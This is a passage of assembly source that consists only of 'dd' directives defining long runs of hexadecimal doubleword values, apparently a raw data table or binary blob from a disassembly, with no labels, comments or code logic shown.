0D244A077h, 0B536E408h dd 8DB50660h, 0F08E5659h, 0B5AD6EE9h, 4B07CE48h, 82ED29C0h dd 582C1803h, 9F100759h, 864A75B1h, 247F31F7h, 9242DF5Bh dd 0B347ABF3h, 0BC7A875Eh, 0E9DBE602h, 1F868483h, 490E5EFBh dd 70564AF6h, 6A9F8462h, 0CA08C3BAh, 8360095Fh, 3C5BB151h dd 0F1C98AA0h, 9238E3CEh, 0BBCA4858h, 592118D3h, 2FA87248h dd 0E90C6A06h, 20DD47h, 0A346160Dh, 68AA0573h, 0A527033Fh dd 0B72E780Ch, 0BB986AEEh, 1E92B120h, 957DDF7h, 8B723D34h dd 0C3724C0h, 955E4B83h, 364E6440h, 17A3BC48h, 36FD9BCBh dd 0F314A00Bh, 7A201EE0h, 0C61AA30h, 13DD7249h, 0ECFE29A4h dd 0F56EB168h, 30B8883Eh, 205AD40Bh, 8075DBE3h, 0B25FB353h dd 29D28D3h, 347A96Ah, 6CB9D029h, 0E48A6E59h, 9C5AEB3Bh dd 6B0CBF0Eh, 0A078E652h, 7D7F12A0h, 0BD190F2Eh, 559F92E0h dd 0F9728951h, 780BCD48h, 340594FAh, 9BE9384Ah, 2A6053C9h dd 7BE12717h, 763CEB7Ah, 68BF7AA8h, 256E0361h, 246555A9h dd 0FB8500Ah, 0D6DDE906h, 5F5A2654h, 0D5E570E7h, 0E2D5C81h dd 39C653C9h, 0DA49B198h, 0E495B15h, 5D9EFAC6h, 0D85F9DEAh dd 0FA258A3Ah, 0D2065E51h, 6A800ADBh, 0E91A730Dh, 43E74A8Eh dd 0BB4B17E1h, 0D994CC7Eh, 25405903h, 331E0C07h, 8DACE0D1h dd 1FF3904h, 76F877E9h, 0C7FF7E51h, 55F129EBh, 6800071Eh dd 0C70CDF98h, 9DA5E95Eh, 14D410EAh, 1FB2F608h, 0C05D964Ah dd 0EC885084h, 0F990E6E4h, 16149669h, 4FF3FC1Fh, 1A13421Fh dd 8A586A18h, 0A2E5400Bh, 0DFF1D01Bh, 0B736D276h, 0E2277BC5h dd 0E0BCCBACh, 600C5E91h, 51090C48h, 0F0BEB531h, 7CBCA60Bh dd 2D450C3h, 97305881h, 5F9EBD2Dh, 8B20BA0h, 404024B8h dd 0B92B9559h, 0FCFBB856h, 423BD4C9h, 0A7C1E976h, 5A025CE4h dd 89EF9E42h, 2D427AF7h, 57BADE50h, 0B1B825D7h, 8DE8A756h dd 0FAC181C4h, 0A30CEF58h, 75290222h, 0E0E9F901h, 34FD614Ah dd 90E9253Fh, 80587004h, 0B32D4E15h, 0E0E4234Bh, 4211DB51h dd 30857180h, 50DE0112h, 7D123100h, 2F596124h, 0BE01BDE9h dd 3BA9880Fh, 6EEEA341h, 0EE407554h, 3E6ABAC6h, 0F6034C5Dh dd 0A0C09E4h, 315EFE07h, 0C7955FF8h, 0C1C0CEECh, 0CF8107EFh dd 6E492B0Eh, 0D842DE25h, 0F4ECEABEh, 4ADA081Ch, 0E5E1890Bh dd 2DA58B28h, 922FF0C6h, 522E11CDh, 0C3014A62h, 0E0C6333h dd 8014305Fh, 7E744D01h, 2A06282Dh, 0CFD8F7F4h, 78414004h dd 0FD6FA305h, 0EECAD7F2h, 583B8957h, 8086FCAEh, 7E15CFBBh dd 5A853D6h, 2625D5CBh, 0B795ADB0h, 7E669291h, 85E73244h dd 1804AC12h, 83279F79h, 0EC204A6Eh, 9D899F96h, 7505AABDh dd 299ABB07h, 0FE6C49B6h, 5632EF71h, 781F6801h, 61D83143h dd 7474B880h, 3862E1F9h, 7DA98D38h, 0F3B99E14h, 8DE1752Fh dd 96802E46h, 60442878h, 7AB10C13h, 315BE35Ah, 732BF0B1h dd 0E9F8D043h, 48961A61h, 52A2B62h, 3009B864h, 6EB4796Dh dd 83A55AB2h, 0C28353FCh, 0E22858B0h, 4D3AD2B0h, 71EE25E9h dd 51962F06h, 9AFC854Ah, 81574230h, 0C313D2F1h, 4480A7F3h dd 121B951h, 411C1716h, 3F06E1C1h, 0DB3C9480h, 4E497635h dd 4DCF8066h, 555B800Fh, 0ABA9C416h, 5FFD81E4h, 0A1B32BBDh dd 0B020E983h, 25F41C4Fh, 1259438Ch, 0F1A03BE9h, 5BF17731h dd 0BE04C0F9h, 40F44BC9h, 0D760CFF4h, 246C2914h, 595D2508h dd 5696BF1h, 21FF0CF5h, 2ABFD655h, 11CB2AF2h, 0D11BF3D0h dd 0CA3854EEh, 1E90721Ah, 28D74E82h, 15580CF5h, 0FC0C51EAh dd 0A111F209h, 0CFC941F7h, 1ECB5D80h, 0F1CB762h, 174F8D70h dd 13F2F3E4h, 910E9159h, 2A60D9C3h, 102154A7h, 3A846508h dd 0DFCC60BAh, 6E5C1A0h dd 0E0E06D2h, 2E6A23CDh, 1AEDB168h, 27FEC070h, 1FD1EE31h dd 4797050Ch, 3EF409E6h, 0BAC814E8h, 7C1424EEh, 1C8E1D32h dd 4B0527D8h, 9DB1F5E9h, 0CB5D8C3Eh, 0D70EC897h, 3060FB5Ah dd 0FDD40F3h, 0DEDC8412h, 86B124E8h, 6084C339h, 2C8BC688h dd 0E24D5FC2h, 5B01224Ah, 0B22BD031h, 0A1D9253Eh, 3638685Ch dd 0D38994E4h, 9694E212h, 5BDF5071h, 84BE272Bh, 2525EB3Dh dd 0F8B24B97h, 7FAB4A8Fh, 6DA37AA7h, 7E276B12h, 0F455154h dd 8FD623B3h, 30EA294Ch, 7BB90D89h, 57BE245Fh, 8AA7BEB8h dd 166B08Ah, 1144E51h, 59806EF2h, 4C2B404Bh, 0B4291467h dd 0C65147F7h, 5B4FB56Ah, 660F9CE3h, 0DEEBE1F7h, 5452E740h dd 0DB685A09h, 88C15109h, 702DBE31h, 0F2810223h, 0BBE5FBE4h dd 0C75E22FDh, 8F682202h, 6EB79678h, 34052031h, 106E4148h dd 0FF505B1Bh, 19311F39h, 7A870902h, 0E6E2BE52h, 0AE346292h dd 34848198h, 4A7A90C3h, 0D4C0ACB3h, 0A1B02ED9h, 0D554C442h dd 0D5292310h, 80953C80h, 0D690D9F7h, 6EC90D55h, 0F206B434h dd 0F82882C5h, 665B6AD9h, 0E2CC0F11h, 9AE5C82Eh, 1FBCDFBh dd 832B3CB1h, 6FD4EDD1h, 25F410F6h, 125F3B42h, 884BC986h dd 879D04C7h, 884004ACh, 0A68E7E8Fh, 0BFCE2172h, 323A5749h dd 0F6992E89h, 0DF0660EEh, 0B55E8F40h, 0ED0BA89Ah, 0E9E2DDFBh dd 0C3E7CDCh, 0C004D6F6h, 0BB06EE2Eh, 95DBF827h, 4FA878E5h dd 53C4954Ah, 2B6F39BEh, 68082CB2h, 0E9050DB1h, 0A234A478h dd 7AA19612h, 0FB5D86Ah, 8495AB48h, 62AE81FAh, 0BE82561Fh dd 7B459E27h, 1CA30F0Ah, 6E13AF3Dh, 0ACC1F7D6h, 5BEC36A5h dd 324AE3F8h, 9D5345C8h, 6269B91Ah, 0DADE6C5Bh, 4617DCC1h dd 48BD27F9h, 970728F7h, 0A27A28CAh, 9F87A920h, 3C57A041h dd 0DB2F7C29h, 64C6F102h, 50510017h, 5C70C668h, 9B256087h dd 485BEC06h, 2619ECB7h, 0BC259A90h, 5C923D89h, 0D1F72D22h dd 308FADC1h, 49503BE3h, 8412A1EAh, 0AB5844h, 9E8D0589h dd 0E297FA18h, 26255092h, 0A54F29E9h, 5589FE7Bh, 3090DABEh dd 0F7C3276Ah, 9C2E1521h, 5512B57Bh, 0AB920FECh, 0AF560064h dd 8F6B7E2Dh, 96E913E0h, 1253FFF0h, 0F336CC68h, 47557FA9h dd 0DCF3C1A7h, 0DAAAEF33h, 2B5A7061h, 0BDD3F0A3h, 844F9A8Fh dd 0EE12807Ch, 8B0FBF01h, 1387B41Ah, 308103E2h, 263F73B9h dd 3235E390h, 0FDA505h, 50C7044Bh, 0EE24C055h, 0E62580AFh dd 91238011h, 975DB64Eh, 14020FA9h, 6609839Dh, 34872561h dd 2E9C2F6h, 0AD8EA22h, 63340318h, 13D968D0h, 0E6A589ABh dd 98200803h, 85F0B981h, 827CA5A3h, 444C440h, 0F7130576h dd 439081DEh, 3055710Fh, 8CE201F5h, 0A7183C60h, 0C0448A36h dd 7730730Ch, 0EB4EE90Ah, 69B0C080h, 0C0D75004h, 95A56346h dd 0CEB926E7h, 0A336EC21h, 3D58FE82h, 3F2D3141h, 7ADFD17h dd 5A97E6F5h, 165289CCh, 0E94CC2E9h, 0F11A1346h, 0A216578Ah dd 856D9454h, 4834F97Dh, 9F53185Eh, 12DFEF33h, 526E3D65h dd 2E2E0947h, 4258ECA2h, 655AF780h, 0CAEC5C99h, 844BA501h dd 13DE963h, 0A28C343Ah, 2DEF1209h, 147137AEh, 0F69F450Eh dd 0C339F4A9h, 0A2852EF7h, 39B03237h, 0AEEC5D05h, 71272777h dd 14782A20h, 0F3EC2A7Fh, 3733A70Ch, 19970C6Bh, 9056E93Bh dd 0AA82055Ah, 5B8AD814h, 0EEC90766h, 0FC09643Eh, 4734271Bh dd 826A663h, 3501EC9Ch, 0AB938BD1h, 0E48D812Fh, 2F3D351Ch dd 16C2E837h, 4C2E7DA6h, 0A140D1E9h, 6302BD68h, 0C15B1486h dd 0C98277EBh, 4304C44Fh, 0F101ADC2h, 0D73D3FB3h, 9D2C0B16h dd 0C766EC8Eh, 0D05B1E92h, 6BC16B0Fh, 9E90904h, 6D4E6289h dd 77142575h, 1A68E928h, 3CD3C309h, 6CF08C06h, 2D7E40C2h dd 0E7A6F20Bh, 0FC328B79h, 0FD7E6E70h, 0A0D9F124h, 646C9F42h dd 682CF426h, 56A40269h, 89B0DE41h, 2A0B4E46h, 0F88745Eh dd 685100D3h, 48B010A4h, 6B16594Ch, 0CF6600C3h, 905FF989h dd 35602878h, 0DC3C0F73h, 8B6B3E9Dh, 2D413362h, 0FECAE0CBh dd 0AC26C69Fh, 0BD551FB6h, 2CD30F73h, 592DF581h, 15BA8C2Bh dd 48EE5D07h, 5A1F9E6Ah, 9D700946h, 0CC8B2EEh, 1EE98502h dd 51101ECh, 20D194B4h, 0F4C05E39h, 1FCB5FC4h, 0B7CBB821h dd 0FD87BA00h, 235BBBE9h, 0DBF77AD1h, 0C5BEF884h, 5F17B05Ch dd 0DD895513h, 343B87A1h, 84F9015Eh, 70CFB4AAh, 591F64C2h dd 0C50173D3h, 7C8E55B7h, 8C9506Fh, 24141C68h, 4B9F11A6h dd 13DDFFA2h, 31B64767h, 46E827C8h, 76B108C5h, 0CA66DEE9h dd 18652F51h, 0E595C82Dh, 7F7397F7h, 9F0DD8A7h, 74169F99h dd 8E130FCEh, 0F3ADEBD7h, 5D4B29CFh, 0DA4A0F63h, 84F23AF5h dd 0ADB0B9ADh, 5057015Ah, 7E154CB8h, 842F64h, 8DF841BAh dd 70333546h, 89CE2B8Fh, 299EEBD3h, 4F3A5721h, 4EBC435Eh dd 0DFACE5C5h, 0DB061EB7h, 540C6023h, 8249EB38h, 10370899h dd 232C0126h, 2880413Ah, 122B1960h, 0FAE4D731h, 99505FEh dd 660E04AFh, 25629581h, 803FAD35h, 2B3DD35Ah, 780C84E3h dd 17BAD4C6h, 185CB9FCh, 666397E9h, 0CBFE0F59h, 4364DBF6h dd 2BD89803h, 0ABD2240h, 41C1056Bh, 7FC0FA7h, 0BDB3EDAAh dd 0CE409FF3h, 0A330E80h, 0C8180C0Dh, 2DE9F2B0h, 0DA649ECFh dd 279A4097h, 0E2514D9Ah, 0D8F5EB00h, 45E9AE65h, 310958BAh dd 0D42958C6h, 0EC212C8h, 8BA4B569h, 3862AB36h, 0C9FEFCCDh dd 9EB1B04h, 0A0A6555Dh, 0DE027603h, 0D1366134h, 0A38C8FEBh dd 53A3E6Fh, 30076482h, 0D1C0E13Dh, 0DDB39DEAh, 72A84EC9h dd 35850F67h, 0A67F477Eh, 0F7318E6Dh, 0DF8EFE4Eh, 9E08FBCDh dd 7C3987D8h, 4648D6FEh, 58B9B08Ch, 34E34C1Fh, 2049EE00h dd 0CE0161D3h, 8811498h, 5D1E8259h, 57661503h, 0BC09D809h dd 0E0C113C0h, 8A1020B0h, 25029C04h, 51F53A7Fh, 996AB0C0h dd 0C5C616C1h, 422B53E4h, 1842E9D3h, 0C13DA0D7h, 64979DFFh dd 0A1C0FC89h, 0CE357A60h, 68586D20h, 0E30C4A59h, 0E91B621Bh dd 34DC4BBFh, 0AB457E8Eh, 882682DAh, 73E90468h, 0B549AFEEh dd 0B14D60D6h, 0CE88024Bh, 12F68059h, 1758EC62h, 2B362D01h dd 0C2296B21h, 41779420h, 9A22D47Bh, 8E6E3294h, 58C3C0E8h dd 9E3815Dh, 254C0B5Fh, 6B82C81h, 0E4683036h, 0E4ACCB4Ah dd 4250F7D9h, 197D7FF0h, 0E82355EFh, 0CB21E381h, 7AFDE133h dd 0E581A930h, 0C73D13B4h, 40A2071Fh, 8116D57Eh, 5566253h dd 20E64F14h, 0B85C4AF2h, 0D70C8CBDh, 53CE13BBh, 0D999C1A8h dd 2F2C0043h, 0B85B4E66h, 0AF623E17h, 291241CBh, 506EBADBh dd 0CE71BC2Fh, 7CF9E74Bh, 0B6ECB8C4h, 0E9469097h, 0A19D886Ch dd 9E4EF317h, 1C9F220h, 52AE1378h, 684A800Fh, 0B6E25AD6h dd 4BB3A8B5h, 830577C4h, 69C814E3h, 7B391E49h, 19C1C910h dd 2B3012E9h, 795D6B0Bh, 34764BCDh, 735A5642h, 0E95305EFh dd 0AEAB5394h, 6F8694Ch, 2D90BC41h, 0DAC176D8h, 172435C9h dd 8FACB12Bh, 0D85AE907h, 1348EB9Dh, 0E1FFFDBAh, 0C46160ECh dd 9DE9AA94h, 0AF8AA670h, 0B8D72F14h, 24B4E7B8h, 62D9AA33h dd 4E457A61h, 0AEFA34AFh, 4AAA2AD8h, 0E006C912h, 0C69D46D9h dd 6C3789A3h, 8520EA39h, 84935C6Ah, 0DF341A09h, 5BFCC230h dd 0FE2C9E97h, 8C2B4E3Fh, 15161F4Bh, 13102664h, 0F8E327B1h dd 0C4565B8Ah, 0AA9CBAC2h, 265A9A91h, 420C08Ah, 0FFDE30B3h dd 4A885F2Ch, 124CE1F4h dd 3CD55196h, 0E02FF69Ch, 5BE918F8h, 0EBC57DFEh, 0A3701B24h dd 94B3253Eh, 0B9B2D97h, 3B8B4067h, 861148DBh, 25ACB0EEh dd 677426D9h, 0BBE5670h, 198E2AF4h, 0F96BC672h, 0E5604211h dd 0E06496C9h, 5B4876Bh, 0ED685340h, 758E1D61h, 1A6E8B5Bh dd 35A82D30h, 9594A09h, 0FAC9D2CBh, 0AB6182BDh, 0F86660F9h dd 43D0541Eh, 0A0E9D103h, 0C207CF0h, 1EE60DF3h, 0E98801BCh dd 0BF0DBADBh, 9A766CB0h, 89F279Fh, 460AC382h, 5A54790Eh dd 5FDDF6DAh, 0E9848DE2h, 212DF15Fh, 0CC0FE6Bh, 6082C0CBh dd 50F12B50h, 16DEBD84h, 0B0F5295Bh, 6BC20854h, 0C0485DE8h dd 0FA4005F4h, 96B61Bh, 2815EA80h, 41E75AD7h, 35249CFCh dd 25AB302Fh, 484D441Fh, 0D9351809h, 37E48BEBh, 34A57BA0h dd 0E29815AFh, 2957FC00h, 8282D73h, 27E9E8FAh, 86C80D49h dd 392627B5h, 9E028140h, 2D5A15h, 0DCF749ECh, 0D7CE0141h dd 4E88C781h, 2C8BE811h, 0E8A7C59Fh, 25FB0287h, 4EDC106Bh dd 5C519B09h, 6FAB61B0h, 10B03BE6h, 97F1BA4Ah, 26EFAF02h dd 0BFD9555h, 0C1CBB8E9h, 5092EDF8h, 314CBF12h, 469D5CEEh dd 0C0D4411h, 905CA709h, 0E7807726h, 35454A69h, 0BADCBC61h dd 4761C501h, 0B5051864h, 0B6D20816h, 0F3972AF2h, 403B25D5h dd 0B67782C0h, 5964EF51h, 2DDA8AC7h, 2701E057h, 307A2D4Ch dd 3607F688h, 0E92A753Bh, 0B95AE0AEh, 2D607A89h, 6463246Ah dd 0FDED1233h, 16D300EEh, 562D4049h, 661C0436h, 92F0E955h dd 0A5C58BEh, 59F0EF96h, 2ED2EC1h, 25851025h, 5B50D858h dd 5BE2CC14h, 0E9A389Bh, 0EB7FC0E9h, 7BC69D2Dh, 7576F5FFh dd 2331A50Dh, 4C321B4Ah, 0A7257F87h, 2EB6B261h, 831DD583h dd 0ADEEABDEh, 0E0361CC8h, 0B859ECCFh, 0F3EFFC45h, 0F621982Eh dd 0C7FED71Fh, 0FC8A25B9h, 26064991h, 71FB6052h, 27589E50h dd 0A8F0A5D6h, 38799D59h, 0DA8BB3E9h, 0AE94A8DDh, 1B6CF400h dd 28EF8145h, 9D835CE1h, 80D56CAh, 840E20DCh, 94FAB152h dd 0A204E47h, 0B8EB87DDh, 96F304FCh, 0A839A8EAh, 15E9125Dh dd 9F2E4B4h, 14706BF4h, 98CE38E2h, 0A9CA1C5Ah, 0B45D0D69h dd 680CED94h, 0C63A5A2Fh, 0B5B22003h, 9DCA3AFDh, 0DE044658h dd 0C04FF244h, 93224720h, 2EC304Bh, 0E14A8B4Ch, 9FDF3E80h dd 0CEE0112h, 0C79338FDh, 0BB570229h, 0B6985F13h, 4E9240F2h dd 3AC781E2h, 299B3AB2h, 5E6A7047h, 0BEE10B47h, 225CC8D0h dd 0A02F200Ah, 9A7AD580h, 0D8011DDEh, 44BA1752h, 0FDF4E95h dd 0B84C7855h, 0CE57067Bh, 90442922h, 40CE5849h, 4398500Ch dd 0FE812BE5h, 5D00C8A8h, 81250F4Dh, 0AA0E0FA6h, 89808790h dd 0D5C3C6E3h, 35997A05h, 858625CBh, 381AA1C1h, 54CED98Bh dd 3CF01F2Fh, 2174645Eh, 4803F18Ah, 6610DCC9h, 5D0B1F26h dd 1482BE30h, 14D7188Ah, 9DBEB290h, 15ACBC34h, 0B31CE95Ah dd 3000359Fh, 0F740343Ch, 132D77D8h, 0A0D65EC3h, 0E7796801h dd 7E3B35C4h, 80CFB10Fh, 8D25FD1Ch, 0D7E9F60Fh, 7BC75A49h dd 0BDD6365Eh, 0FAB8BF57h, 0E43B534h, 6C026FF6h, 5E5C5B1Eh dd 0E9FE3101h, 0C96FF895h, 8787034Bh, 0D7CA3369h, 2DF671AAh dd 0E25C6E04h, 80F8D46Dh, 6BE9CE29h, 7DE4973Ch, 81DE948Ah dd 0CA111BCDh, 68F6E956h, 4E585F0Dh, 982FC805h, 33FC041h dd 551968ACh, 0D54FFAB4h, 0F44F69E9h, 0D64DC281h, 0DE2020F9h dd 90AC944Eh, 4D2787D2h, 9CC83F8Bh, 49E87721h, 68016EC0h dd 44AB323Ah, 4D912E5Dh, 8907BD37h, 0FD0ED202h, 79284A65h dd 363E2C00h, 0EC270516h, 8E424CDDh, 74BCBD3Ch, 904C01BBh dd 4B590841h, 0C0787AECh, 16CC255h, 0A9970A5Ch, 86376A16h dd 9526CAC6h, 69E47FF2h, 23FA4472h, 41AC66Bh, 0DCBF5D39h dd 9A84842Bh, 0EAE620A5h, 0B8C1382Ch, 7F73CA0Dh, 0AE3A6483h dd 0C1F42949h, 6835E4C1h, 13EE9213h, 5876EF38h, 12E7951Dh dd 69E2D39Eh, 567C6996h, 0E9312944h, 63053AD4h, 1FEADA86h dd 2EA4FD41h, 0C3FE806Ch, 28BFF380h, 8550DA58h, 0DC4191D1h dd 6F5B0DA5h, 0CBB360h, 760E4BB8h, 4012840Fh, 0ED82819Eh dd 0D0703859h, 2585FE65h, 401CFAC0h, 0A0FD514Eh, 7C11680Bh dd 49FF269h, 25BFFA13h, 831545F3h, 0C228AA98h, 15278411h dd 2946473h, 142162BDh, 0E880456Ch, 1DF62AB5h, 51E38103h dd 9475B44h, 5DE908A8h, 254067A0h, 0BE1C5081h, 829D354Fh dd 0A003C3D6h, 3151E9h, 79D3F2E9h, 95B0A70h, 0E51C572Ch dd 0C10F9522h, 294105E1h, 5FB6E116h, 79F9C37Eh, 0AFF4C8Ah dd 0D4035E97h, 0C21A37A6h, 9443D049h, 5EF925B3h, 0CA50E942h dd 951C6079h, 6D5B136h, 2E7D70B9h, 0C7AE60BFh, 49F61D87h dd 0C4CF9D9Ah, 0BB65DC2Ah, 0F7C16B1Fh, 434A9B9Eh, 3FC3AF40h dd 0A0455FB2h, 6C0E2560h, 0C04E3437h, 3DCC2498h, 88AEC401h dd 7576C8F9h, 7BF3BC13h, 0A2D215FBh, 0E763558h, 16BB62Ch dd 85A813D3h, 7632AF79h, 1532DD5Dh, 0A2550B40h, 7EB98A82h dd 546E203h, 756EEB7Bh, 722B3443h, 50AEE20Ah, 6D161DE3h dd 69C20B1Eh, 580884EAh, 0F3C9FDB2h, 0EBE251F4h, 9A907574h dd 0E14FF75Ch, 0D12EE829h, 79113AA6h, 20E9A1C4h, 0B23A4B25h dd 0E2182505h, 258B09E9h, 8DA5D51Dh, 0C53E8419h, 1738BE2Eh dd 0EBA24486h, 0F1381009h, 0C37A6162h, 0C7880844h, 218D4A73h dd 4835F85h, 0F1969DB2h, 8827650Eh, 26D5680Ch, 42051380h dd 0ED81CD3Ch, 40EAEA7Dh, 8207211Dh, 8CCFF65Ch, 4F3175DBh dd 685FD0C3h, 98B573D2h, 0B54AF655h, 5E4AA594h, 0C4B215ACh dd 0A4C291F6h, 0B4BB0010h, 6D4F5159h, 6640FCE1h, 799EF461h dd 0E9F81A3Fh, 0A24E8D7Fh, 155AD13Fh, 0A57B48h, 2535BEEAh dd 0EF295D54h, 3E761287h, 4C71AB95h, 5A638F49h, 0E6AD64Bh dd 4E8D7D08h, 409E8782h, 0F9F41BFBh, 22FFA980h, 3F3B4135h dd 20B51982h, 1420EEF3h, 0FEF0EAD2h, 35EA02C7h, 59E94E93h dd 880BDA74h, 0B31B68E6h, 6ED99511h, 6DD3D1CBh, 1FF22B6Ch dd 4493DF13h, 0EBDAF73Dh, 0F2A85E66h, 4BE40532h, 778EF35h dd 0D5E705C9h, 4987C24Ah, 0DEAA49EBh, 0CEBB8658h, 82AB2E4Ch dd 240B6761h, 0F102B759h, 459EF30h, 3ACEF620h, 8613E909h dd 9DD71655h, 0A1252BD2h, 262651ACh, 917B092Eh, 61938210h dd 0E952F91Eh, 4C72F26Fh, 0CF2037E0h, 2FC8DCBEh, 6227E989h dd 0A843D141h, 27DF5979h, 0BFD259C4h, 6FEF1744h, 2CC0BE0Fh dd 0F58919AFh, 0B7F15E5Ah, 133AE531h, 0E086B9E6h, 5BB8685Bh dd 4A173065h, 210C427Ah, 606EDC1h, 0CC515008h, 2B130C3Ah dd 3FD8D176h, 457CD40h, 894B47BFh, 0F1EBC01Eh, 71024C55h dd 0F708E7C1h, 0F6805FD7h, 0F82AD0EFh, 7384D58h, 41495911h dd 542D9E6h, 10C921DEh, 0E978B031h, 6C9C6790h, 10E0FD94h dd 8102C541h, 0E47035E7h, 0DAD7F182h, 3FED6801h, 0A65EE523h dd 44034A7Bh, 4C9B54E9h, 480F4645h, 0B06B1F3Fh, 5376F7F8h dd 1ABD5679h, 0FA57C0AAh, 8FE7B52Dh, 0D3950F20h, 0AF591EE0h dd 0F35EAE90h, 6203A50Dh, 1ECCFC38h, 0D23F64E6h, 1659BD1Bh dd 0FFFDCB01h, 18ADB9A4h, 0EF27BB77h, 94591E48h, 813BD246h dd 0C9D98860h, 0E690E5CAh, 64DB3AF5h, 0E6402F18h, 0BF1C2364h dd 0F0E70EC3h, 0E6495882h, 0FD317801h, 240FCE9h, 8582FD66h dd 5006EB4h, 0A4A6F06h, 2DD8011Dh, 75292707h, 75A89A6Fh dd 2617F598h, 15005739h dd 19E63797h, 0AF680452h, 0EF337823h, 0F8826744h, 0EC4F9BF8h dd 0C45EA208h, 5451309Bh, 0F422E90Bh, 82D197h, 30CB1067h dd 0EF179D05h, 0D913CF34h, 56B297F8h, 69E9B7A1h, 61429DA1h dd 53258BA4h, 0B0A9A282h, 680A0B40h, 1E512E0Dh, 17F87788h dd 9EC7FCADh, 4A9F15D5h, 0B9E9C26h, 6AD33F19h, 7D200D00h dd 0D10669A9h, 3D9CE9EAh, 30D97757h, 803EEC84h, 0F09DF8CFh dd 0AC4429B0h, 0CD8100E5h, 77AA6A87h, 0F6BE5600h, 0C16C4439h dd 0F1AFB8EEh, 3D27828Bh, 577C770h, 0CE01517Ch, 122F5521h dd 0B124C7E9h, 0B016BE5Eh, 0A703A44Ah, 0E7F2105Bh, 7648464Dh dd 0B22ACD16h, 41244E18h, 2488F5C9h, 800E2594h, 0CBE33C6h dd 86123381h, 0D3F6DE1Bh, 1DCEF808h, 0A232B0D0h, 5800D6C3h dd 0A1C493BAh, 0D2829905h, 0DD07E0A5h, 6A49286Fh, 8BCAF1ECh dd 5E0ED008h, 0E9AD9C02h, 4AD2D832h, 287D528h, 0E3EB333Dh dd 0F1D50C25h, 0AE4264C9h, 1C0378D3h, 5FFEB63Dh, 0A4D197CEh dd 58278A63h, 42A8F3D4h, 0A2FE20B7h, 9812BC8Bh, 0EB151E7h dd 0C5E18085h, 8431C164h, 0CF12AAC0h, 8BF316ECh, 6538EB95h dd 4E1C4099h, 2307AF92h, 0EE09648Eh, 30AC33E4h, 51982D02h dd 0E3416CB2h, 0C0074705h, 4A751382h, 19A85B4Bh, 0CEFD82A5h dd 1ED2C220h, 3B5F769Ah, 250E62F2h, 1C384A6Eh, 36E6B5CFh dd 0E6B1E912h, 6084FFADh, 0C429ED7Ch, 37D444F0h, 18D08AFh dd 0A40B1624h, 0FAA58B7Fh, 85580136h, 91E9964Dh, 0E78D81E5h dd 305B452Dh, 80DA7F30h, 7B71D9B8h, 0B4835850h, 760B4D17h dd 0C1407282h, 41AC532Ah, 0BEA21206h, 7A4D4204h, 303AFF13h dd 19E8AC14h, 0CB3C4402h, 0AE40464Ch, 0CD316DC7h, 0D6C6415Bh dd 29D87421h, 0BCB390F1h, 30F02D1h, 9507EFFh, 0E3A2504Eh dd 1272054Ah, 0E871AF2Ch, 0AF20F888h, 0F6214019h, 4A29D058h dd 65F767CCh, 0B05A0BD1h, 1792591Dh, 0EEC1599Fh, 6DC3A5h dd 0E64C7566h, 2EB80149h, 4E8A5A5Fh, 0E21BC84Fh, 0F4E88D4Ah dd 163768E0h, 0E362A494h, 555F0026h, 963EBB53h, 0BD498C06h dd 97310B94h, 0E9131DFAh, 0BADCEAF2h, 61E33168h, 0AAA9F7B3h dd 392DD57Bh, 75746A4h, 7018C7C2h, 0E0EDE576h, 0D0955A99h dd 0D20920A2h, 2F14369Fh, 968670E9h, 0D2BA4E58h, 214F41B5h dd 2C7FF665h, 6B401C99h, 0D1C21709h, 0B91363E2h, 292703EEh dd 19F0EC4Fh, 1DA6BDE9h, 900B6AF8h, 6A10DEB3h, 3B802DAAh dd 5622F705h, 0E801020Ah, 0E91C072Dh, 0B771802Dh, 941F042Ch dd 661E3A75h, 5F66715Bh, 5397047Eh, 5AA94687h, 8660998h dd 0B083613Eh, 7F01519h, 9A25E95Eh, 6EC47CBAh, 522B007Fh dd 0C8870F3Bh, 79F48997h, 0C9E54238h, 871BD07h, 0BCE81E40h dd 114C5E0h, 0C8DC0FEh, 0F488D26h, 8703037Ah, 50D6F7F1h dd 18BC5808h, 0C017233h, 734C773Fh, 9C6003Ch, 29322C61h dd 80CC90CEh, 785F5908h, 0AA34B583h, 477E5EA4h, 0D57763B2h dd 1045C52Dh, 0B95D517Bh, 2B133F31h, 656571D7h, 933D2E50h dd 0AD58613Ah, 6F8104BBh, 732FB870h, 0EFEC5CDEh, 0E90A918Eh dd 463CCC61h, 59976A50h, 29D42763h, 333786CFh, 0CC60C83h dd 0F7A28082h, 29D85E4Bh, 2B436968h, 0DEC92777h, 0F91FE1A2h dd 0B33B8869h, 6961F43Ah, 438A680Ah, 0A68DD988h, 0C96E4525h dd 25ABB02h, 2084657Dh, 123BF56Ah, 1974EFECh, 0BFCB9216h dd 0AA515F14h, 2D936A30h, 9C487B72h, 0AF7E1069h, 0C0A4B35Eh dd 0A7E9555Ch, 6828BC3Ch, 0C4BDAEC4h, 0EBE6948Dh, 9EBB898h dd 6E037CCh, 8FFA8F5h, 0D038E90Bh, 4B898510h, 0DE2717F6h dd 10C1AF66h, 0D5E52B01h, 51A13C28h, 0E6A23F54h, 0D105E9C4h dd 9EEF2946h, 4B92FB44h, 0F087C949h, 0B81F3A87h, 0DD296E8Bh dd 0B2098004h, 0E55B73FFh, 0B5F554D8h, 3AF36FC8h, 25334D97h dd 0F9AF5673h, 0FE914B3Ah, 4E7D32EAh, 50F01E0h, 0D30932BEh dd 0F0A91F5Ah, 687CE923h, 3CBE0AD2h, 12BAC307h, 0FDEED124h dd 0A9EA3D0Fh, 1982D586h, 5E05400Fh, 5D08B001h, 68302F5Fh dd 0E2440FE7h, 1AC9E961h, 0E9D06FF4h, 0A66D4BD5h, 35BB13B7h dd 0F75B8CE3h, 3F0CC825h, 57D5B4D5h, 807C003Ah, 850F22E7h dd 0ECA88173h, 0F6C847B5h, 88500196h, 30EB80D3h, 0D4FACB90h dd 1AAC054Bh, 1655588Bh, 4810B5C4h, 581FDF2h, 5D644F2Fh dd 0F3F5A265h, 50BC768Dh, 0C467C589h, 0CFFE3D5Bh, 0E8BD1713h dd 90D68BB1h, 127FC3B7h, 4A52DC09h, 3008EB7Ch, 43074E0Ch dd 62F1424Fh, 87BEB26Ah, 70232BFh, 94074084h, 2D4B047Ch dd 8153FA01h, 7222E8C8h, 7DA45EFEh, 76F5ED29h, 9BB2364h dd 28195356h, 73226A00h, 5A9D0B5Eh, 0D7D2F56h, 74A5C2F1h dd 0E18F97E0h, 0B546EC2Fh, 0C5280D1Eh, 16AD25CCh, 0EC8F260Fh dd 14D9ADB4h, 65C01B08h, 7A28BE5Ah, 0ACEC403Ch, 0F09FA2F4h dd 0E8175A10h, 